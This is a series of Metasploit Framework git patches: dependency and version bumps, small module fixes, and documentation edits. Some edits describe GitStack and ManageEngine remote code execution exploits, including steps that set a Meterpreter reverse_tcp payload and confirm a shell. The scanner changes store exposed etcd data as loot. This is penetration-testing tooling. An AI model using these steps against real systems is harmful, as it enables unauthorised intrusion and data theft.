index 27c20be422..3e9f416146 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,9 +11,9 @@ addons: - graphviz language: ruby rvm: - - '2.2' - '2.3.6' - '2.4.3' + - '2.5.0' env: - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"' From 689a586365b8eb11b57add869b332defcd7c9b4e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 26 Mar 2018 09:41:41 -0500 Subject: [PATCH 080/105] bump Dockerfile to Ruby 2.5 --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 24337e8b7f..404e1f4ee4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM ruby:2.4.3-alpine3.7 +FROM ruby:2.5.0-alpine3.7 LABEL maintainer="Rapid7" ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" From 64a478c41b271bcc6ab9173d8db500d83ae6d102 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 26 Mar 2018 11:19:57 -0500 Subject: [PATCH 081/105] fix -b as only options when calling msfvenom --- msfvenom | 1 + 1 file changed, 1 insertion(+) diff --git a/msfvenom b/msfvenom index b61eb5ed87..463ad116da 100755 --- a/msfvenom +++ b/msfvenom @@ -135,6 +135,7 @@ def parse_args(args) end opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| + require 'rex/text' opts[:badchars] = Rex::Text.hex_to_raw(b) end From a541e72b92b3f12edb214e737c589b7925d03f02 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 26 Mar 2018 13:00:11 -0500 Subject: [PATCH 082/105] Update Rex require for consistency The speedup is minimal at best. --- msfvenom | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfvenom b/msfvenom index 463ad116da..08cba44613 100755 --- a/msfvenom +++ b/msfvenom @@ -189,7 +189,7 @@ def parse_args(args) datastore[k.upcase] = v.to_s end if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil? - init_framework + require 'rex/socket' datastore['LHOST'] = Rex::Socket.source_address end end From 217dea60fc515a46036796e4bd04b379e4c7df19 Mon Sep 17 00:00:00 2001 From: Andrew Morris Date: Mon, 26 Mar 2018 15:43:10 -0400 Subject: [PATCH 083/105] Update blog link to up-to-date blog post --- modules/auxiliary/scanner/ssh/detect_kippo.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ssh/detect_kippo.rb b/modules/auxiliary/scanner/ssh/detect_kippo.rb index da4f854ed9..ead2aaeaf3 100644 --- a/modules/auxiliary/scanner/ssh/detect_kippo.rb +++ b/modules/auxiliary/scanner/ssh/detect_kippo.rb @@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary }, 'Author' => 'Andrew Morris ', 'References' => [ - ['URL', 'https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/'], + ['URL', 'https://www.obscurechannel.com/x42/magicknumber.html'], ['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/'] ], 'License' => MSF_LICENSE From 327b2176c02fe6e6c2ee2490ba777a22d40cdbf1 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 26 Mar 2018 17:35:58 -0400 Subject: [PATCH 084/105] change and --- modules/auxiliary/scanner/etcd/open_key_scanner.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb index 07ba236035..9f77fbffdd 100644 --- a/modules/auxiliary/scanner/etcd/open_key_scanner.rb +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary }) # parse the json if we got a good request back - if res and res.code == 200 + if res && res.code == 200 begin response = res.get_json_document store_loot('etcd.data', 'text/plain', rhost, response, 'etcd.keys', 'etcd keys') @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'GET' }) banner = '' - if res and res.code == 200 + if res && res.code == 200 banner = res.body end From 57b048fbf71f3d19212af7777d63683f89bbf51a Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 26 Mar 2018 17:46:18 -0500 Subject: [PATCH 085/105] Remove requires, changed in-place modification --- modules/post/windows/manage/persistence_exe.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 70a05bdb3d..f7eed718eb 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -3,12 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/services' - class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::File @@ -191,8 +185,7 @@ class MetasploitModule < Msf::Post end print_good("Persistent Script written to #{temprexe}") - temprexe.gsub!("\\", "\\\\\\\\") - @clean_up_rc << "rm #{temprexe}\n" + @clean_up_rc << "rm #{temprexe.gsub("\\", "\\\\\\\\")}\n" temprexe end From a4ad7de4e05000f6d17964b463a9c6ea3eff298e Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 26 Mar 2018 17:56:44 -0500 Subject: [PATCH 086/105] Use a better error in scriptable sessions --- lib/msf/base/sessions/scriptable.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb index 7c0b1e3798..afa5b40e48 100644 --- a/lib/msf/base/sessions/scriptable.rb +++ b/lib/msf/base/sessions/scriptable.rb @@ -165,7 +165,7 @@ module Scriptable full_path = self.class.find_script_path(script_name) if full_path.nil? - print_error("The specified script could not be found: #{script_name}") + print_error("The specified #{self.type} session script could not be found: #{script_name}") return end From b97ed7f42509987dcd3e197fc6df3614723cb7f9 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 27 Mar 2018 12:28:07 -0500 Subject: [PATCH 087/105] updates to Gemfile.lock for current master --- Gemfile.lock | 34 ---------------------------------- 1 file changed, 34 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index dd13deaf81..258daab5cb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -133,40 +133,16 @@ GEM multipart-post (>= 1.2, < 3) filesize (0.1.1) fivemat (1.3.6) - google-protobuf (3.5.1) - googleapis-common-protos-types (1.0.1) - google-protobuf (~> 3.0) - googleauth (0.6.2) - faraday (~> 0.12) - jwt (>= 1.4, < 3.0) - logging (~> 2.0) - memoist (~> 0.12) - multi_json (~> 1.11) - os (~> 0.9) - signet (~> 0.7) - grpc (1.8.3) - google-protobuf (~> 3.1) - googleapis-common-protos-types (~> 1.0.0) - googleauth (>= 0.5.1, < 0.7) hashery (2.1.2) i18n (0.9.5) concurrent-ruby (~> 1.0) jsobfu (0.4.2) rkelly-remix json (2.1.0) - jwt (2.1.0) - little-plugger (1.1.4) - logging (2.2.2) - little-plugger (~> 1.1) - multi_json (~> 1.10) loofah (2.2.2) crass (~> 1.0.2) nokogiri (>= 1.5.9) - memoist (0.16.0) metasm (1.0.3) - metasploit-aggregator (1.0.0) - grpc - rex-arch metasploit-concern (2.0.5) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -202,7 +178,6 @@ GEM minitest (5.11.3) mqtt (0.5.0) msgpack (1.2.4) - multi_json (1.13.1) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.2.0) @@ -214,7 +189,6 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - os (0.9.6) packetfu (1.1.13) pcaprub patch_finder (1.0.2) @@ -339,11 +313,6 @@ GEM sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) - signet (0.8.1) - addressable (~> 2.3) - faraday (~> 0.9) - jwt (>= 1.5, < 3.0) - multi_json (~> 1.10) simplecov (0.16.1) docile (~> 1.1) json (>= 1.8, < 3) @@ -381,9 +350,6 @@ PLATFORMS DEPENDENCIES factory_bot_rails fivemat - google-protobuf (= 3.5.1) - grpc (= 1.8.3) - metasploit-aggregator metasploit-framework! octokit pry From df49345f5da0e99d10c1958469c826708dc189ff Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 27 Mar 2018 12:59:49 -0500 Subject: [PATCH 088/105] Update gitstack_rce.md --- .../exploit/windows/http/gitstack_rce.md | 27 ++++++++++++------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index 11fe5ff70d..8e486bab88 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,25 +1,32 @@ ## Description -An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This module exploits the vulnerability by sending unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. The module has been tested on GitStack v2.3.10. +An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This +module exploits the vulnerability by sending unauthenticated REST API requests to put the +application in a vulnerable state, if needed, before sending a request to trigger the exploit. +These configuration changes are undone before the module exits. The module has been tested on +GitStack v2.3.10. ## Vulnerable Application In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. -To exploit the vulnerability, the repository web interface must be enabled, a repository must exist, and a user must have access to the repository. +To exploit the vulnerability, the repository web interface must be enabled, a repository must +exist, and a user must have access to the repository. -Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. +Note: A passwd file should be created by GitStack for local user accounts. +Default location: `C:\GitStack\data\passwdfile`. ## Verification Steps -- [ ] Install a vulnerable GitStack application -- [ ] `./msfconsole` -- [ ] `use exploit/windows/http/gitstack_rce` -- [ ] `set rhost ` -- [ ] `set verbose true` -- [ ] `run` +* Install a vulnerable GitStack application +* `./msfconsole` +* `use exploit/windows/http/gitstack_rce` +* `set rhost ` +* `set verbose true` +8 `run` -Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size. +Note: You may have to run the exploit multiple times since the powershell that is generate has to +be under a certain size. ## Scenarios From 7e4e6e643703c6b0a34721ef0de8b4254fb7ebf6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 27 Mar 2018 14:32:21 -0500 Subject: [PATCH 089/105] Update ms17_010_{psexec,command} module docs --- .../modules/auxiliary/admin/smb/ms17_010_command.md | 5 +++++ documentation/modules/exploit/windows/smb/ms17_010_psexec.md | 5 +++++ 2 files changed, 10 insertions(+) diff --git a/documentation/modules/auxiliary/admin/smb/ms17_010_command.md b/documentation/modules/auxiliary/admin/smb/ms17_010_command.md index f02caea6cc..1d22825109 100644 --- a/documentation/modules/auxiliary/admin/smb/ms17_010_command.md +++ b/documentation/modules/auxiliary/admin/smb/ms17_010_command.md @@ -21,6 +21,11 @@ To be able to use auxiliary/admin/smb/ms17_010_command: You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules. +If you're having trouble configuring an anonymous named pipe, +Microsoft's +[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously) +on the topic may be helpful. + ## Verification Steps At the minimum, you should be able use psexec to get a session with a valid credential using the following: diff --git a/documentation/modules/exploit/windows/smb/ms17_010_psexec.md b/documentation/modules/exploit/windows/smb/ms17_010_psexec.md index 67889ddaf0..a83eb89c12 100644 --- a/documentation/modules/exploit/windows/smb/ms17_010_psexec.md +++ b/documentation/modules/exploit/windows/smb/ms17_010_psexec.md @@ -19,6 +19,11 @@ To be able to use exploit/windows/smb/ms17_010_psexec: You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules. +If you're having trouble configuring an anonymous named pipe, +Microsoft's +[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously) +on the topic may be helpful. + ## Verification Steps At the minimum, you should be able use psexec to get a session with a valid credential using the following: From fb0d87163c89b741beae722b418f4d018e4c351f Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 27 Mar 2018 15:16:39 -0500 Subject: [PATCH 090/105] Update documentation for manageengine_appmanager_exec --- .../http/manageengine_appmanager_exec.md | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md index 2ed4e8766a..427f7611bd 100644 --- a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -1,4 +1,4 @@ -## Vulnerable Application +exploit/windows/http/manageengine_appmanager_exec.md## Vulnerable Application This module exploits command injection vulnerability in the ManageEngine Applications Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. **Vulnerable Application Installation Steps** @@ -10,19 +10,19 @@ Go to following website and download Windows version of the product. It comes wi A successful check of the exploit will look like this: -- [ ] Start `msfconsole` -- [ ] `use exploit/windows/http/manageengine_appmanager_exec` -- [ ] Set `RHOST ` -- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp` -- [ ] Set `LHOST ` -- [ ] Run `check` -- [ ] **Verify** that you are seeing `The target is vulnerable.` in console. -- [ ] Run `exploit` -- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console. -- [ ] **Verify** that you are seeing `Sending stage to ` in console. -- [ ] **Verify** that you have your shell. +* Start `msfconsole` +* `use exploit/windows/http/manageengine_appmanager_exec` +* Set `RHOST ` +* Set `PAYLOAD windows/meterpreter/reverse_tcp` +* Set `LHOST ` +* Run `check` +* **Verify** that you are seeing `The target is vulnerable.` in console. +* Run `exploit` +* **Verify** that you are seeing `Triggering the vulnerability` in console. +* **Verify** that you are seeing `Sending stage to ` in console. +* **Verify** that you have your shell. -## Scenarios +## Demo ``` msf5 > From 288bd28d3ad3d26e1c17a648e4be532f3db669d4 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 27 Mar 2018 15:51:07 -0500 Subject: [PATCH 091/105] if data is nil stop reading the heartbleed socket --- modules/auxiliary/scanner/ssl/openssl_heartbleed.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 5544f83e2d..8c50c2ec57 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -695,7 +695,7 @@ class MetasploitModule < Msf::Auxiliary end len = hdr.unpack('Cnn')[2] - data = get_data(len) + data = get_data(len) unless len.nil? unless data vprint_error("No SSL record contents received after #{response_timeout} seconds...") From c97743925f8f8de4899f32e8a846f7f880958e41 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 27 Mar 2018 18:46:31 -0400 Subject: [PATCH 092/105] jhart suggestions --- .../auxiliary/scanner/etcd/open_key_scanner.md | 15 +++++++-------- .../auxiliary/scanner/etcd/open_key_scanner.rb | 5 +++-- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md index af82d04ee5..a5811b0834 100644 --- a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md +++ b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md @@ -26,11 +26,13 @@ unauthenticated users access to the data stored via HTTP API. ``` msf5 > use auxiliary/scanner/etcd/open_key_scanner -msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 192.168.2.248 -rhosts => 192.168.2.248 +msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2 +rhosts => 2.2.2.2 msf5 auxiliary(scanner/etcd/open_key_scanner) > run -[+] { +[+] 2.2.2.2:2379 +Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} +Data: { "action": "get", "node": { "dir": true, @@ -44,16 +46,13 @@ msf5 auxiliary(scanner/etcd/open_key_scanner) > run ] } } -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -msf5 auxiliary(scanner/etcd/open_key_scanner) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- -192.168.2.248 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_192.168.2.248_etcd.data_425280.txt +2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt msf5 auxiliary(scanner/etcd/open_key_scanner) > services Services @@ -61,5 +60,5 @@ Services host port proto name state info ---- ---- ----- ---- ----- ---- -192.168.2.248 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} +2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} ``` diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb index 9f77fbffdd..39ca1dac7f 100644 --- a/modules/auxiliary/scanner/etcd/open_key_scanner.rb +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 begin response = res.get_json_document - store_loot('etcd.data', 'text/plain', rhost, response, 'etcd.keys', 'etcd keys') + store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys') # since we know its vulnerable, go ahead and pull the version information res = send_request_raw({ @@ -60,13 +60,14 @@ class MetasploitModule < Msf::Auxiliary :host => rhost, :port => rport, :name => 'etcd', + :proto => 'tcp', :info => banner }) rescue JSON::ParserError => e print_error("Failed to read JSON: #{e.class} - #{e.message}}") return end - print_good(JSON.pretty_generate(response)) + print_good("#{peer}\nVersion: #{banner}\nData: #{JSON.pretty_generate(response)}") end end end From b4e392e32287d35c3358e5937ba4e09d22ea813b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 27 Mar 2018 15:49:12 -0700 Subject: [PATCH 093/105] automatic module_metadata_base.pstore update --- db/modules_metadata_base.pstore | Bin 3010814 -> 3014187 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/db/modules_metadata_base.pstore b/db/modules_metadata_base.pstore index c447b5d26b0bc3adc1ffae1d67f6c5ef9ff85db5..11ad381ba0adceddd41b5624c2c90c324f863400 100644 GIT binary patch delta 139955 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 